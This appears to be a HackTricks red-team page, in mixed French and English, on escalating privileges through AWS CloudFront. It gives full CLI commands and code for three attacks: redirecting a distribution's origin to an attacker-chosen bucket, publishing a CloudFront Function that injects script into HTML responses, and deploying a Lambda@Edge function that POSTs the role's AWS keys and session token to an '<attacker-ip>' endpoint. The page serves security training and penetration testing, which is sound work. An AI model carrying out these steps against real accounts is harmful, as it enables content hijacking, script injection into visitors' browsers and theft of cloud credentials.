AWS - CloudFront Privesc

Reading time: 6 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

CloudFront

cloudfront:UpdateDistribution & cloudfront:GetDistributionConfig

Un attaquant disposant des autorisations cloudfront:UpdateDistribution et cloudfront:GetDistributionConfig peut modifier la configuration d'une distribution CloudFront. Il n'a pas besoin d'autorisations sur le S3 bucket cible lui‑même, bien que l'attaque soit plus simple si ce bucket a une politique permissive permettant l'accès depuis le cloudfront.amazonaws.com service principal.

L'attaquant modifie la configuration d'origine d'une distribution pour la faire pointer vers un autre S3 bucket ou vers un serveur contrôlé par l'attaquant. Il commence par récupérer la configuration actuelle de la distribution :

bash
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json

Ensuite, ils modifient current-config.json pour pointer l'origine vers la nouvelle ressource — par exemple, un bucket S3 différent :

bash
...
"Origins": {
"Quantity": 1,
"Items": [
{
"Id": "<origin-id>",
"DomainName": "<new-bucket>.s3.us-east-1.amazonaws.com",
"OriginPath": "",
"CustomHeaders": {
"Quantity": 0
},
"S3OriginConfig": {
"OriginAccessIdentity": "",
"OriginReadTimeout": 30
},
"ConnectionAttempts": 3,
"ConnectionTimeout": 10,
"OriginShield": {
"Enabled": false
},
"OriginAccessControlId": "E30N32Y4IBZ971"
}
]
},
...

Enfin, appliquez la configuration modifiée (vous devez fournir l'ETag actuel lors de la mise à jour) :

bash
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

aws cloudfront update-distribution \
--id <distribution-id> \
--distribution-config file://current-config.json \
--if-match $CURRENT_ETAG

cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction

An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.

The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:

bash
function handler(event) {
var request = event.request;
var response = event.response;
// Create a new body with malicious JavaScript
var maliciousBody = `
<!DOCTYPE html>
<html>
<head>
<title>Compromised Page</title>
</head>
<body>
<h1>Original Content</h1>
<p>This page has been modified by CloudFront Functions</p>
<script>
// Malicious JavaScript
alert('CloudFront Function Code Injection Successful!');
</script>
</body>
</html>
`;
// Replace the body entirely
response.body = { encoding: "text", data: maliciousBody };
// Update headers
response.headers["content-type"] = { value: "text/html; charset=utf-8" };
response.headers["content-length"] = {
value: maliciousBody.length.toString(),
};
response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
return response;
}

Commands to create, publish and attach the function:

bash
# Créer la fonction malveillante dans CloudFront
aws cloudfront create-function --name malicious-function --function-config '{
"Comment": "Malicious CloudFront Function for Code Injection",
"Runtime": "cloudfront-js-1.0"
}' --function-code fileb://malicious-function.js

# Récupérer l'ETag de la fonction en phase DEVELOPMENT
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text

# Publier la fonction en phase LIVE
aws cloudfront publish-function --name malicious-function --if-match <etag>

Add the function to the distribution configuration (FunctionAssociations):

bash
"FunctionAssociations": {
"Quantity": 1,
"Items": [
{
"FunctionARN": "arn:aws:cloudfront::<account-id>:function/malicious-function",
"EventType": "viewer-response"
}
]
}

Finally update the distribution configuration (remember to supply the current ETag):

bash
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

aws cloudfront update-distribution --id <distribution-id> --distribution-config file://current-config.json --if-match $CURRENT_ETAG

lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole & cloudfront:UpdateDistribution

An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.

The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:

bash
// malicious-lambda-edge.js
exports.handler = async (event) => {
  // Obtenir les identifiants du rôle
  const credentials = {
    accessKeyId: process.env.AWS_ACCESS_KEY_ID,
    secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
    sessionToken: process.env.AWS_SESSION_TOKEN,
  };
  // Envoyer les identifiants au serveur de l'attaquant
  try {
    await fetch("https://<attacker-ip>/steal-credentials", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify(credentials)
    });
  } catch (error) {
    console.error("Erreur lors de l'envoi des identifiants :", error);
  }
  if (event.Records && event.Records[0] && event.Records[0].cf) {
    // Modifier les en-têtes de réponse
    const response = event.Records[0].cf.response;
    response.headers["x-credential-theft"] = [
      {
        key: "X-Credential-Theft",
        value: "Successful",
      },
    ];
    return response;
  }
  return {
    statusCode: 200,
    body: JSON.stringify({ message: "Identifiants volés" })
  };
};
bash
# Compresser la fonction Lambda@Edge
zip malicious-lambda-edge.zip malicious-lambda-edge.js

# Créer la fonction Lambda@Edge avec un rôle privilégié
aws lambda create-function \
--function-name malicious-lambda-edge \
--runtime nodejs18.x \
--role <privileged-role-arn> \
--handler malicious-lambda-edge.handler \
--zip-file fileb://malicious-lambda-edge.zip \
--region <region>

# Publier une version de la fonction
aws lambda publish-version --function-name malicious-lambda-edge --region <region>

Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:

bash
"LambdaFunctionAssociations": {
"Quantity": 1,
"Items": [
{
"LambdaFunctionARN": "arn:aws:lambda:us-east-1:<account-id>:function:malicious-lambda-edge:1",
"EventType": "viewer-response",
"IncludeBody": false
}
]
}
bash
# Appliquer la configuration de distribution mise à jour (doit utiliser l'ETag courant)
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

aws cloudfront update-distribution \
--id <distribution-id> \
--distribution-config file://current-config.json \
--if-match $CURRENT_ETAG

# Déclencher la fonction en effectuant une requête vers la distribution
curl -v https://<distribution-domain>.cloudfront.net/

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks